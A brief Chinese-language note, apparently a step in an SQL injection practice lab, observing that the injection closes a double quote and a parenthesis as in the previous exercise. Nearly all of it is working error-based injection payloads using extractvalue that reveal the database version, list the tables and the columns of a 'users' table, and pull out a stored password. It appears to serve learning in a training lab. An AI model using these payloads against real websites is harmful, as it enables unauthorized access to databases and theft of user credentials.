双引号和括号闭合,与上题大同小异
")#
")and extractvalue(1, concat(0x7e, (select version()),0x7e))#
")and extractvalue(1, concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'))# //爆表
")and extractvalue(1, concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),'~'))# //爆字段
")and extractvalue(1, concat('~',(select password from users limit 0,1),'~'))# //爆内容